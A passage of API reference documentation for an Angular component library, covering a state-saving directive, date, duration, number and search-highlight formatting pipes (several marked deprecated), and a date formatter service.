Applied with `hostDirectives`, forwarding both inputs, and injected to drive it. What to persist and
when to read it stays with the component: `read()` once while initializing, `write()` on every change.
The Core page carries the worked example and the rules.

The key comes from `stateSavingKey`, or is derived from where the host sits in the document
(`KBQ_STATE_SAVING_KEY_RESOLVER`) — see the Core page for the rules that come with that.

```ts
@Directive({ selector: '[kbqStateSaving]', exportAs: 'kbqStateSaving' })
class KbqStateSaving implements KbqStateSavingRef {
    readonly useStateSaving = input<boolean>(
        inject(KBQ_STATE_SAVING_ENABLED)
    );
    readonly stateSavingKey = input<string>('');
    readonly keyChanges = output<void>();
    readonly host: Element | null;
    get state(): unknown;
    get name(): string;
    get key(): string;
    get enabled(): boolean;
    read<T>(normalize: (parsed: unknown) => T | null): T | null;
    write(state: unknown): void;
    clear(): void;
    applying<R>(apply: () => R): R;
}
```

- `[useStateSaving]`: `boolean` — Whether the component remembers its state across reloads and restores it on the next render.
  Defaults to `true`, or to whatever `KBQ_STATE_SAVING_ENABLED` is provided as.
- `[stateSavingKey]`: `string` — The key the state is persisted under. While it is empty the key is derived from where the
  component sits in the document, which moves when the surrounding markup is restructured — an `id`
  on the component or any ancestor pins it just as well as this input does.
- `(keyChanges)`: `void` — Emits when the key changes after the state was read, so the owner can restore from the new one.

  The key is read once, while the owner restores, and `write()` refuses a key it has not read —
  without this, moving a component to another key would stop its writes for good instead of moving
  its state. Not forwarded from a host: the component that injects the directive is the one that
  knows how to restore itself.
- `host`: `Element | null` — The host element the key is derived from, and by which `KbqStateSavingService` locates it.

  Typed nullable for `KbqStateSavingRef`, whose other implementation has no element of its own —
  `KbqSidepanelService` persists on behalf of a panel that lives in an overlay.
- `state`: `unknown` — The state last read from or written to the store, or `null` when there is none.
- `name`: `string` — How the host is named in dev-mode warnings: its tag, which is what the author sees in the markup.
- `key`: `string` — The key the state is persisted under, empty until `read()` has run. Deliberately the key that was
  read: resolving one now needs the host to be in the document.
- `enabled`: `boolean` — Whether this host persists — its own `useStateSaving`, not the application-wide switch.
- `read()`: `T | null` — Reads the persisted state, coerced by `normalize`. Returns `null` while persistence is disabled,
  and while no key can be resolved for the host.

  `normalize` turns a raw payload into state and returns `null` when it cannot. Storage is
  user-writable, so nothing is trusted; this is also where an older payload is migrated.
- `write()`: `void` — Persists the state. A no-op while persistence is disabled, while `applying()` runs, and before
  `read()` has run.

  Pass the whole state, not a change to it: a full snapshot drops values that no longer exist.
- `clear()`: `void` — Removes the persisted state. Persistence itself stays on — the next `write()` records it again.

  Deliberately not gated on the application-wide switch, unlike `read()` and `write()`: that switch
  means "stop remembering", and removing what was remembered carries it out.
- `applying()`: `R` — Runs `apply` with `write()` suppressed, and nests safely. Restored state goes through the
  component's own setters, which persist as they go.

#### Pipes

##### AbsoluteDateFormatterImpurePipe (pipe)

Deprecated: Use the `kbqAbsoluteLongDate` pipe (`KbqAbsoluteLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteLongDateImpurePipe', pure: false })
class AbsoluteDateFormatterImpurePipe<D> extends AbsoluteDateFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### AbsoluteDateFormatterPipe (pipe)

Deprecated: Use the `kbqAbsoluteLongDate` pipe (`KbqAbsoluteLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteLongDate' })
class AbsoluteDateFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### AbsoluteDateShortFormatterImpurePipe (pipe)

Deprecated: Use the `kbqAbsoluteShortDate` pipe (`KbqAbsoluteShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteShortDateImpurePipe', pure: false })
class AbsoluteDateShortFormatterImpurePipe<D> extends AbsoluteDateShortFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### AbsoluteDateShortFormatterPipe (pipe)

Deprecated: Use the `kbqAbsoluteShortDate` pipe (`KbqAbsoluteShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteShortDate' })
class AbsoluteDateShortFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### AbsoluteDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqAbsoluteLongDateTime` pipe (`KbqAbsoluteLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteLongDateTimeImpurePipe', pure: false })
class AbsoluteDateTimeFormatterImpurePipe<D> extends AbsoluteDateTimeFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### AbsoluteDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqAbsoluteLongDateTime` pipe (`KbqAbsoluteLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteLongDateTime' })
class AbsoluteDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### AbsoluteShortDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqAbsoluteShortDateTime` pipe (`KbqAbsoluteShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteShortDateTimeImpurePipe', pure: false })
class AbsoluteShortDateTimeFormatterImpurePipe<D> extends AbsoluteShortDateTimeFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### AbsoluteShortDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqAbsoluteShortDateTime` pipe (`KbqAbsoluteShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'absoluteShortDateTime' })
class AbsoluteShortDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### DurationLongFormatterImpurePipe (pipe)

Deprecated: Use the `kbqDurationLong` pipe (`KbqDurationLongPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationLongImpurePipe', pure: false })
class DurationLongFormatterImpurePipe<D> extends DurationLongFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### DurationLongFormatterPipe (pipe)

Deprecated: Use the `kbqDurationLong` pipe (`KbqDurationLongPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationLong' })
class DurationLongFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### DurationShortestFormatterImpurePipe (pipe)

Deprecated: Use the `kbqDurationShortest` pipe (`KbqDurationShortestPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationShortestImpurePipe', pure: false })
class DurationShortestFormatterImpurePipe<D> extends DurationShortestFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### DurationShortestFormatterPipe (pipe)

Deprecated: Use the `kbqDurationShortest` pipe (`KbqDurationShortestPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationShortest' })
class DurationShortestFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### DurationShortFormatterImpurePipe (pipe)

Deprecated: Use the `kbqDurationShort` pipe (`KbqDurationShortPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationShortImpurePipe', pure: false })
class DurationShortFormatterImpurePipe<D> extends DurationShortFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### DurationShortFormatterPipe (pipe)

Deprecated: Use the `kbqDurationShort` pipe (`KbqDurationShortPipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'durationShort' })
class DurationShortFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### KbqAbsoluteLongDatePipe (pipe)

```ts
@Pipe({ name: 'kbqAbsoluteLongDate', pure: false })
class KbqAbsoluteLongDatePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [currYear?: boolean]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### KbqAbsoluteLongDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqAbsoluteLongDateTime', pure: false })
class KbqAbsoluteLongDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqAbsoluteShortDatePipe (pipe)

```ts
@Pipe({ name: 'kbqAbsoluteShortDate', pure: false })
class KbqAbsoluteShortDatePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [currYear?: boolean]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        currYear?: boolean
    ): string;
}
```

##### KbqAbsoluteShortDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqAbsoluteShortDateTime', pure: false })
class KbqAbsoluteShortDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqDataSizePipe (pipe)

```ts
@Pipe({ name: 'kbqDataSize', pure: false })
class KbqDataSizePipe implements PipeTransform {
    transform(
        source: number,
        precision?: number,
        unitSystemName?: KbqMeasurementSystemType,
        locale?: string
    ): string;
}
```

- `transform()`: `string` — Transforms bytes into localized size string

##### KbqDecimalPipe (pipe)

```ts
@Pipe({ name: 'kbqNumber', pure: false })
class KbqDecimalPipe implements KbqNumericPipe, PipeTransform {
    transform(
        value: any,
        digitsInfo?: string,
        locale?: string
    ): string | null;
}
```

- `transform()`: `string | null`
  - `value`: `any` — The number to be formatted.
  - `digitsInfo`: `string` — Decimal representation options, specified by a string
    in the format `{minIntegerDigits}.{minFractionDigits}-{maxFractionDigits}`.
    - `minIntegerDigits`: The minimum number of integer digits before the decimal point.
    Default is `1`.
    - `minFractionDigits`: The minimum number of digits after the decimal point.
    Default is `0`.
    - `maxFractionDigits`: The maximum number of digits after the decimal point.
    Default is `3`.
  - `locale`: `string` — A locale code for the locale format rules to use.
    When not supplied, uses the value of `KBQ_LOCALE_ID`, which is `ru` by default.

##### KbqDurationLongPipe (pipe)

Formats the duration between two dates in the long text format, e.g. `2 дня и 4 часа`.

Takes a `[from, to]` tuple, like the range pipes. `units` restricts the units to show (the
formatter picks them automatically when omitted), `fraction` adds a fractional part for years
and months.

Renders an empty string when the tuple itself or one of its bounds is missing or invalid, or when
`from` is later than `to`.

```html
{{ [startedAt, finishedAt] | kbqDurationLong }}
{{ [startedAt, finishedAt] | kbqDurationLong: ['hours', 'minutes'] }}
{{ [startedAt, finishedAt] | kbqDurationLong: ['years'] : true }}
```

```ts
@Pipe({ name: 'kbqDurationLong', pure: false })
class KbqDurationLongPipe<D> extends BaseLocaleAwareFormatterPipe<
        D,
        D[] | string[] | null | undefined,
        [units?: DurationUnit[], fraction?: boolean]
    > implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### KbqDurationShortestPipe (pipe)

Formats the duration between two dates as a digital-clock value, e.g. `48:02:25`.

Takes a `[from, to]` tuple, like the range pipes. `options.seconds` defaults to `true` and
`options.milliseconds` to `false`; `options.currYear` is not used by this format.

Renders an empty string when the tuple itself or one of its bounds is missing or invalid, or when
`from` is later than `to`.

```html
{{ [startedAt, finishedAt] | kbqDurationShortest }}
{{ [startedAt, finishedAt] | kbqDurationShortest: { seconds: false } }}
```

```ts
@Pipe({ name: 'kbqDurationShortest', pure: false })
class KbqDurationShortestPipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqDurationShortPipe (pipe)

Formats the duration between two dates in the short text format, e.g. `2 д 4 ч`.

Takes a `[from, to]` tuple, like the range pipes. `units` restricts the units to show (the
formatter picks them automatically when omitted), `fraction` adds a fractional part for years
and months.

Renders an empty string when the tuple itself or one of its bounds is missing or invalid, or when
`from` is later than `to`.

```html
{{ [startedAt, finishedAt] | kbqDurationShort }}
{{ [startedAt, finishedAt] | kbqDurationShort: ['seconds', 'milliseconds'] }}
```

```ts
@Pipe({ name: 'kbqDurationShort', pure: false })
class KbqDurationShortPipe<D> extends BaseLocaleAwareFormatterPipe<
        D,
        D[] | string[] | null | undefined,
        [units?: DurationUnit[], fraction?: boolean]
    > implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

##### KbqHighlightBackgroundPipe (pipe)

```ts
@Pipe({ name: 'kbqHighlightBackground' })
class KbqHighlightBackgroundPipe implements PipeTransform {
    transform(
        value: unknown,
        keyword: unknown,
        foldDiacritics?: boolean
    ): string;
}
```

##### KbqHighlightBoldPipe (pipe)

Wraps the matches of a search in a bold `<mark class="kbq-highlight">`.

```ts
@Pipe({ name: 'kbqHighlightBold' })
class KbqHighlightBoldPipe implements PipeTransform {
    transform(
        value: string | null | undefined,
        keyword: string | readonly string[] | null | undefined,
        foldDiacritics?: boolean
    ): string;
}
```

- `transform()`: `string` — Returns `value` as HTML with every match of `keyword` marked, or `''` when `value` is not a string.
  With `foldDiacritics`, a keyword matches regardless of diacritics: `creme` marks `Crème`.

##### KbqHighlightPipe (pipe)

Deprecated: Use the `kbqHighlightBold` pipe (`KbqHighlightBoldPipe`). Will be removed in 22.0.0.

```ts
@Pipe({ name: 'mcHighlight' })
class KbqHighlightPipe implements PipeTransform {
    transform(
        value: unknown,
        keyword: unknown,
        foldDiacritics?: boolean
    ): string;
}
```

##### KbqRangeLongDatePipe (pipe)

```ts
@Pipe({ name: 'kbqRangeLongDate', pure: false })
class KbqRangeLongDatePipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, []> implements PipeTransform {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### KbqRangeLongDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqRangeLongDateTime', pure: false })
class KbqRangeLongDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqRangeMiddleDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqRangeMiddleDateTime', pure: false })
class KbqRangeMiddleDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqRangeShortDatePipe (pipe)

```ts
@Pipe({ name: 'kbqRangeShortDate', pure: false })
class KbqRangeShortDatePipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, []> implements PipeTransform {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### KbqRangeShortDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqRangeShortDateTime', pure: false })
class KbqRangeShortDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D[] | string[] | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqRelativeLongDatePipe (pipe)

```ts
@Pipe({ name: 'kbqRelativeLongDate', pure: false })
class KbqRelativeLongDatePipe<D> extends BaseLocaleAwareFormatterPipe<
        D,
        D | string | null | undefined,
        [options?: Pick<DateTimeOptions, 'sentenceStart'>]
    > implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: Pick<DateTimeOptions, 'sentenceStart'>
    ): string;
}
```

##### KbqRelativeLongDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqRelativeLongDateTime', pure: false })
class KbqRelativeLongDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqRelativeShortDatePipe (pipe)

```ts
@Pipe({ name: 'kbqRelativeShortDate', pure: false })
class KbqRelativeShortDatePipe<D> extends BaseLocaleAwareFormatterPipe<
        D,
        D | string | null | undefined,
        [options?: Pick<DateTimeOptions, 'sentenceStart'>]
    > implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: Pick<DateTimeOptions, 'sentenceStart'>
    ): string;
}
```

##### KbqRelativeShortDateTimePipe (pipe)

```ts
@Pipe({ name: 'kbqRelativeShortDateTime', pure: false })
class KbqRelativeShortDateTimePipe<D> extends BaseLocaleAwareFormatterPipe<D, D | string | null | undefined, [options?: DateTimeOptions]> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### KbqRoundDecimalPipe (pipe)

```ts
@Pipe({ name: 'kbqRoundNumber', pure: false })
class KbqRoundDecimalPipe implements PipeTransform {
    transform(value: any, locale?: string): any;
}
```

##### KbqTableNumberPipe (pipe)

```ts
@Pipe({ name: 'kbqTableNumber', pure: false })
class KbqTableNumberPipe implements KbqNumericPipe, PipeTransform {
    transform(
        value: any,
        digitsInfo?: string,
        locale?: string
    ): string | null;
}
```

- `transform()`: `string | null`
  - `value`: `any` — The number to be formatted.
  - `digitsInfo`: `string` — Decimal representation options, specified by a string
    in the format `{minIntegerDigits}.{minFractionDigits}-{maxFractionDigits}`.
    - `minIntegerDigits`: The minimum number of integer digits before the decimal point.
    Default is `1`.
    - `minFractionDigits`: The minimum number of digits after the decimal point.
    Default is `0`.
    - `maxFractionDigits`: The maximum number of digits after the decimal point.
    Default is `3`.
  - `locale`: `string` — A locale code for the locale format rules to use.
    When not supplied, uses the value of `KBQ_LOCALE_ID`, which is `ru` by default.

##### RangeDateFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRangeLongDate` pipe (`KbqRangeLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeLongDateImpurePipe', pure: false })
class RangeDateFormatterImpurePipe<D> extends RangeDateFormatterPipe<D> {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### RangeDateFormatterPipe (pipe)

Deprecated: Use the `kbqRangeLongDate` pipe (`KbqRangeLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeLongDate' })
class RangeDateFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### RangeDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRangeLongDateTime` pipe (`KbqRangeLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeLongDateTimeImpurePipe', pure: false })
class RangeDateTimeFormatterImpurePipe<D> extends RangeDateTimeFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RangeDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqRangeLongDateTime` pipe (`KbqRangeLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeLongDateTime' })
class RangeDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RangeMiddleDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRangeMiddleDateTime` pipe (`KbqRangeMiddleDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeMiddleDateTimeImpurePipe', pure: false })
class RangeMiddleDateTimeFormatterImpurePipe<D> extends RangeMiddleDateTimeFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RangeMiddleDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqRangeMiddleDateTime` pipe (`KbqRangeMiddleDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeMiddleDateTime' })
class RangeMiddleDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RangeShortDateFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRangeShortDate` pipe (`KbqRangeShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeShortDateImpurePipe', pure: false })
class RangeShortDateFormatterImpurePipe<D> extends RangeShortDateFormatterPipe<D> {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### RangeShortDateFormatterPipe (pipe)

Deprecated: Use the `kbqRangeShortDate` pipe (`KbqRangeShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeShortDate' })
class RangeShortDateFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(value: D[] | string[] | null | undefined): string;
}
```

##### RangeShortDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRangeShortDateTime` pipe (`KbqRangeShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeShortDateTimeImpurePipe', pure: false })
class RangeShortDateTimeFormatterImpurePipe<D> extends RangeShortDateTimeFormatterPipe<D> {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RangeShortDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqRangeShortDateTime` pipe (`KbqRangeShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'rangeShortDateTime' })
class RangeShortDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D[] | string[] | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RelativeDateFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRelativeLongDate` pipe (`KbqRelativeLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeLongDateImpurePipe', pure: false })
class RelativeDateFormatterImpurePipe<D> extends RelativeDateFormatterPipe<D> {
    transform(value: D | string | null | undefined): string;
}
```

##### RelativeDateFormatterPipe (pipe)

Deprecated: Use the `kbqRelativeLongDate` pipe (`KbqRelativeLongDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeLongDate' })
class RelativeDateFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(value: D | string | null | undefined): string;
}
```

##### RelativeDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRelativeLongDateTime` pipe (`KbqRelativeLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeLongDateTimeImpurePipe', pure: false })
class RelativeDateTimeFormatterImpurePipe<D> extends RelativeDateTimeFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RelativeDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqRelativeLongDateTime` pipe (`KbqRelativeLongDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeLongDateTime' })
class RelativeDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RelativeShortDateFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRelativeShortDate` pipe (`KbqRelativeShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeShortDateImpurePipe', pure: false })
class RelativeShortDateFormatterImpurePipe<D> extends RelativeShortDateFormatterPipe<D> {
    transform(value: D | string | null | undefined): string;
}
```

##### RelativeShortDateFormatterPipe (pipe)

Deprecated: Use the `kbqRelativeShortDate` pipe (`KbqRelativeShortDatePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeShortDate' })
class RelativeShortDateFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(value: D | string | null | undefined): string;
}
```

##### RelativeShortDateTimeFormatterImpurePipe (pipe)

Deprecated: Use the `kbqRelativeShortDateTime` pipe (`KbqRelativeShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeShortDateTimeImpurePipe', pure: false })
class RelativeShortDateTimeFormatterImpurePipe<D> extends RelativeShortDateTimeFormatterPipe<D> {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

##### RelativeShortDateTimeFormatterPipe (pipe)

Deprecated: Use the `kbqRelativeShortDateTime` pipe (`KbqRelativeShortDateTimePipe`), which follows a locale change.
Will be removed in 22.0.0.

```ts
@Pipe({ name: 'relativeShortDateTime' })
class RelativeShortDateTimeFormatterPipe<D> extends BaseFormatterPipe<D> implements PipeTransform {
    transform(
        value: D | string | null | undefined,
        options?: DateTimeOptions
    ): string;
}
```

#### Services

##### DateFormatter (service)

```ts
@Injectable()
class DateFormatter<D> extends BaseDateFormatter<D> {
    readonly adapter: DateAdapter<D>;
    config: FormatterConfig;
    setLocale(localeName: string): void;
    relativeDate(
        date: D,
        template: FormatterRelativeTemplate,
        seconds?: boolean,
        milliseconds?: boolean,
        sentenceStart?: boolean
    ): string;
    relativeShortDate(date: D, options?: DateTimeOptions): string;
    relativeLongDate(date: D, options?: DateTimeOptions): string;
    relativeShortDateTime(date: D, options?: DateTimeOptions): string;
    relativeLongDateTime(date: D, options?: DateTimeOptions): string;
    absoluteDate(
        date: D,
        params: FormatterAbsoluteTemplate,
        datetime?: boolean,
        seconds?: boolean,
        milliseconds?: boolean,
        currYear?: boolean
    ): string;
    absoluteShortDate(date: D, currYear?: boolean): string;
    absoluteShortDateTime(date: D, options?: DateTimeOptions): string;
    absoluteLongDate(date: D, currYear?: boolean): string;
    absoluteLongDateTime(date: D, options?: DateTimeOptions): string;
    openedRangeDate(
        startDate: D | null,
        endDate: D | null,
        template: FormatterRangeTemplate
    ): string;
    openedRangeDateTime(
        startDate: D | null,
        endDate: D | null,
        template: FormatterRangeTemplate,
        seconds?: boolean,
        milliseconds?: boolean
    ): string;
    rangeDate(
        startDate: D,
        endDate: D,
        template: FormatterRangeTemplate
    ): string;
    rangeDateTime(
        startDate: D,
        endDate: D,
        template: FormatterRangeTemplate,
        seconds?: boolean,
        milliseconds?: boolean
    ): string;
    rangeShortDate(startDate: D | null, endDate?: D): string;
    rangeShortDateTime(
        startDate: D | null,
        endDate?: D | null,
        options?: DateTimeOptions
    ): string;
    rangeLongDate(startDate: D | null, endDate?: D | null): string;
    rangeLongDateTime(
        startDate: D | null,
        endDate?: D,
        options?: DateTimeOptions
    ): string;
    rangeMiddleDateTime(
        startDate: D,
        endDate: D,
        options?: DateTimeOptions
    ): string;
    durationShortest(
        startDate: D,
        endDate: D,
        seconds?: boolean,
        milliseconds?: boolean
    ): string;
    duration(
        startDate: D,
        endDate: D,
        units: DurationUnit[],
        fraction: boolean,
        template: FormatterDurationTemplate
    ): string;
    durationLong(
        startDate: D,
        endDate: D,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
    durationShort(
        startDate: D,
        endDate: D,
        units?: DurationUnit[],
        fraction?: boolean
    ): string;
}
```

- `relativeDate()`: `string`
  - `date`: `D` — date
  - `template`: `FormatterRelativeTemplate` — template
  - `seconds`: `boolean | undefined` — use seconds
  - `milliseconds`: `boolean | undefined` — use milliseconds
  - `sentenceStart`: `boolean | undefined` — whether the formatted value starts a sentence
  - returns `string` — relative date by template
- `relativeShortDate()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — relative date in short format
- `relativeLongDate()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — relative date in long format
- `relativeShortDateTime()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — relative date in short format with time
- `relativeLongDateTime()`: `string`
  - `date`: `D` — date
  - `options`: `DateTimeOptions | undefined` — DateTimeOptions
  - returns `string` — relative date in long format with time
- `absoluteDate()`: `string`
  - `date`: `D` — date
  - `params`: `FormatterAbsoluteTemplate` — parameters
  - `datetime`: `boolean | undefined` — should time be shown as well
  - `seconds`: `boolean | undefined` — should time with seconds be shown as well
  - `milliseconds`: `boolean | undefined` — should time with milliseconds be shown as well
  - `currYear`: `boolean | undefined` — should current year be shown as well
- `absoluteShortDate()`: `string`
